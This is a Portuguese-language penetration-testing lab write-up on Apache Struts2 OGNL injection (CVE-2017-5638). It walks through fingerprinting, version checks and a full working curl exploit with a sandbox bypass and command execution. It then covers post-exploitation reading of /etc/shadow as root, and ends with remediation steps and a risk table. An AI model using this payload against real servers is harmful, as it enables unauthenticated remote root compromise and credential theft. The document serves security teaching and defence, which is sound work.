
Laboratório prático demonstrando injeção OGNL no Apache Struts2 (CVE-2017-5638) com análise de sistema passo a passo, exploração, bypass de sandbox e técnicas de pós-exploração para educação em testes de penetração.

Após iniciar o container, os logs do Struts2 mostram que a aplicação carrega arquivos de configuração familiares como struts-default.xml, struts-plugin.xml e struts.xml. Isso confirma que o framework em uso é Apache Struts2.

Um ponto notável está na linha:
Choosing bean (jakarta) for (org.apache.struts2.dispatcher.multipart.MultiPartRequest)
Esta linha indica que o Struts2 está escolhendo o analisador multipart Jakarta (analisador de dados de upload multipart) para tratar requisições do tipo multipart/form-data, comumente encontradas em funcionalidades de upload de arquivos.
Este é um sinal crucial ao analisar S2-045 / CVE-2017-5638, já que esta vulnerabilidade está relacionada ao processo onde o Struts2 lida com erros ao analisar requisições multipart, especialmente com um cabeçalho Content-Type inválido.
No entanto, este log apenas prova que a aplicação usa Struts2 e um manipulador multipart no estilo Jakarta. Ainda não é suficiente para concluir que a aplicação é definitivamente vulnerável. Para confirmar, precisamos determinar a versão do struts2-core e compará-la com a faixa de versões afetadas.



Ao acessar o serviço web usando curl, os cabeçalhos de resposta mostram que a aplicação está rodando em Jetty 9.2.11.v20150529. Esta informação ajuda a identificar o ambiente que executa a aplicação (container servlet), mas não revela diretamente a versão do Struts2.
A interface web retorna a página Struts2 Showcase - Fileupload sample, com um formulário de upload usando:
method="POST" enctype="multipart/form-data" action="/upload.action"
Isso corresponde ao log anterior onde o Struts2 escolheu jakarta para MultiPartRequest: a aplicação de fato tem um fluxo de tratamento de upload de arquivos via multipart/form-data.
⇒ Pensamento: O endpoint /upload.action usa multipart/form-data, correspondendo ao mecanismo que o Struts2 processa via Jakarta MultiPartRequest. Este é um sinal que fortalece a suspeita de S2-045/CVE-2017-5638, mas precisamos determinar a versão do Struts2 antes de concluir que a aplicação é vulnerável. Em seguida, ainda é necessária uma verificação mais aprofundada quanto à versão do struts2-core e como a aplicação lida com erros ao receber um Content-Type inválido.
Após identificar que a aplicação possui um endpoint de upload usando multipart/form-data, o próximo passo da análise é encontrar a versão real do Struts2. Isso é crucial porque os sinais anteriores apenas mostraram que a aplicação possui um mecanismo relacionado a upload multipart, o que ainda não é suficiente para concluir que é vulnerável.

Após identificar o container correto servindo o Endpoint 8001, a verificação das bibliotecas é realizada diretamente dentro do container project1-lab01-1.
O resultado encontrou o arquivo struts2-core:
/root/.m2/repository/org/apache/struts/struts2-core/2.3.30/struts2-core-2.3.30.jar
A partir deste caminho, podemos determinar que a aplicação está usando Apache Struts2 2.3.30.

Comparando com a vulnerabilidade publicada CVE-2017-5638 / S2-045, ela afeta muitas versões antigas do Struts2, incluindo o ramo 2.3.x antes do patch. Quando combinado com:
Framework: Apache Struts2 Version: 2.3.30 Multipart parser: Jakarta Endpoint: /upload.action Content-Type: multipart/form-data
A cadeia de condições de análise fica mais clara:
`Struts2 Version 2.3.30 < Version 2.3.32
No entanto, do ponto de vista da análise, uma versão vulnerável é apenas evidência do potencial de ser afetada. Para confirmar em nível comportamental, precisamos enviar uma requisição multipart anômala e observar a resposta/logs para ver se ela entra no ramo de tratamento de erro do analisador multipart do Struts2.
⇒ Pensamento: Neste ponto, não se trata mais apenas de identificar o framework; a versão 2.3.30 confirma que a aplicação está dentro da faixa de versões afetadas do S2-045/CVE-2017-5638. O passo restante é verificar o comportamento de tratamento de erro multipart para completar a cadeia de evidências.

Precisamos verificar se as requisições enviadas para /upload.action realmente passam pelo mecanismo de processamento multipart do Struts2. Aqui, uso o comando curl com a opção -F para testar o mecanismo de tratamento. E o resultado retornado é dividido em partes:
`
⇒ Uma requisição válida prova que /upload.action realmente passa pelo mecanismo de upload multipart porque curl -F gera multipart/form-data e o servidor consegue analisar cada parte da requisição.


Após enviar uma requisição declarando Content-Type como multipart/form-data mas com um corpo que não está em conformidade com a estrutura multipart, o servidor ainda retorna HTTP 200 OK. No entanto, os campos ContentType, FileName, File e Caption estão todos vazios. Verificando os logs do Docker, notamos que não há boundary (string separadora entre partes no multipart), e o cliente ainda recebe HTTP 200 OK. No entanto, o Struts2 na verdade encontrou um erro ao processar a requisição.
Isso prova a cadeia de evidências:
Faulty multipart request → Struts2 wraps request → MultiPartRequestWrapper is called → JakartaMultiPartRequest parses request → FileUploadException due to missing boundary
⇒ Corresponde aos componentes relacionados a S2-045/CVE-2017-5638. Assim, a cadeia de condições está mais completa: versão vulnerável, analisador Jakarta, endpoint de upload e a requisição defeituosa entra no ramo correto de processamento multipart.
O ponto crítico de S2-045/CVE-2017-5638 não se limita à falha do analisador multipart. O erro do analisador é apenas a condição de gatilho inicial. A parte perigosa está em como o Struts2 subsequentemente lida com a mensagem de erro. Em versões afetadas do Struts2, quando o analisador multipart encontra um erro, o conteúdo do erro pode ser alimentado no mecanismo de tratamento de mensagens do Struts2. Se um invasor controla parte dos dados que aparecem no erro, especialmente do cabeçalho Content-Type, esses dados podem ser avaliados pelo Struts2 via OGNL (Object-Graph Navigation Language - a linguagem de expressão do Struts/XWork).
Pensamento:
Anomalous Content-Type → Jakarta multipart parser parsing error → Struts2 generates/logs error message → error message goes through expression evaluation mechanism → if malicious OGNL is present, it can lead to RCE
Identificando que o alvo usa Struts2, e como o Struts2 usa OGNL como seu motor de expressão, pesquisando no PayloadsAllTheThings mostra que injetar new String(@java.lang.Runtime@getRuntime().exec("id").getInputStream().readAllBytes()) no Struts2 falhará porque o Struts2 possui uma sandbox que bloqueia o acesso a java.lang.Runtime.

⇒ Monte o payload encontrado na estrutura de exploração do Struts2:
Acionar o Analisador Jakarta
(#_="multipart/form-data")
Contornar a Sandbox do Struts2 (Obrigatório)
(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context["com.opensymphony.xwork2.ActionContext.container"]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm))))
Payload de Execução de Comando
(new java.lang.String(@java.lang.Runtime@getRuntime().exec("id").getInputStream().readAllBytes()))
No entanto, ao executar o payload na prática, encontramos dois problemas:
readAllBytes() é suportada apenas a partir do Java 9. Se insistirmos em usá-la, o OGNL falhará silenciosamente e retornará uma página HTML em branco. Isso é resolvido usando a classe IOUtils da biblioteca org.apache.commons.io (sempre disponível no Struts2) para ler o stream.HttpServletResponse, usando getWriter().println() para imprimir a saída primeiro, e então chamando flush() e close() para encerrar a conexão imediatamente. Isso força o servidor a retornar o resultado limpo da execução do comando, ignorando toda a interface HTML desnecessária.⇒ Remontando as modificações acima, obtemos o comando curl completo (usando ProcessBuilder + IOUtils + Response Writer):
curl -i -s -X POST "http://192.168.3.137:8001/doUpload.action" \
-H 'Content-Type: %{(#_="multipart/form-data").(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context["com.opensymphony.xwork2.ActionContext.container"]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd="id").(#iswin=(@java.lang.System@getProperty("os.name").toLowerCase().contains("win"))).(#cmds=(#iswin?{"cmd.exe","/c",#cmd}:{"/bin/bash","-c",#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().println(#ros)).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().flush()).(#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].getWriter().close())}' \
-d "foo=bar"

Exploração Bem-sucedida!!!
Embora tenhamos alcançado RCE com privilégios de root, cada comando precisa ser enviado via uma requisição HTTP separada, fornecendo um ambiente não interativo. Um Reverse Shell permite estabelecer uma sessão persistente, interagindo diretamente com o sistema alvo como se estivesse sentado na frente da máquina, servindo para coleta de informações e pós-exploração mais aprofundada.
Verificação de Privilégios
Após a exploração bem-sucedida, verifique os privilégios no sistema:
uid=0(root) gid=0(root) groups=0(root)
→ A aplicação é executada com privilégios root — nenhuma escalada de privilégio é necessária.
Coleta de Dados Sensíveis
Leia o arquivo /etc/shadow (o arquivo contendo hashes de senhas, ao qual apenas root tem permissão de acesso):

→ Prova que o atacante tem acesso total de leitura/escrita aos arquivos do sistema, incluindo os mais sensíveis.
Nota sobre Reverse Shell
O estabelecimento do reverse shell não foi bem-sucedido porque o container Docker no Windows usa uma rede interna (bridge/NAT); o container não pode conectar de volta à máquina do atacante (Kali) na LAN local. No entanto, isso não afeta a gravidade da vulnerabilidade — o atacante alcançou RCE com privilégios de root e pode executar qualquer comando no sistema.
A vulnerabilidade de Injeção OGNL (CVE-2017-5638 / S2-045) neste sistema é avaliada no nível de risco mais alto:
Para remediar completamente esta vulnerabilidade, as equipes de administração de sistemas e desenvolvimento devem implementar as seguintes medidas (ordenadas por prioridade):
Prioridades Urgentes (Curto Prazo):
JakartaMultiPartRequest.root. Um usuário dedicado (por exemplo, struts_user) deve ser criado com os privilégios mínimos necessários para executar a aplicação.Prioridades Altas (Longo Prazo & Defesa em Profundidade):
%{...}, ${...}, ognl, java.lang.ProcessBuilder) no cabeçalho Content-Type.Pell ou COS no arquivo de configuração struts.xml (struts.multipart.parser=cos).| Critério | Avaliação | Detalhes |
|---|
| Pontuação CVSS | 10.0 (Crítico) | Pontuação absoluta máxima. |
| Autenticação | Não Necessária | O atacante não precisa de uma conta ou estar logado para explorar isso. |
| Complexidade | Muito Baixa | Requer apenas o envio de uma única Requisição HTTP (POST) contendo o payload no cabeçalho Content-Type. |
| Privilégios Obtidos | root | Controle total sobre a aplicação/container no nível de privilégio mais alto, com capacidade de ler/escrever qualquer arquivo (como /etc/shadow). |
| Movimento Lateral | Alto | A partir do container comprometido, o atacante pode escanear a rede interna (LAN) e atacar outros containers ou servidores host. |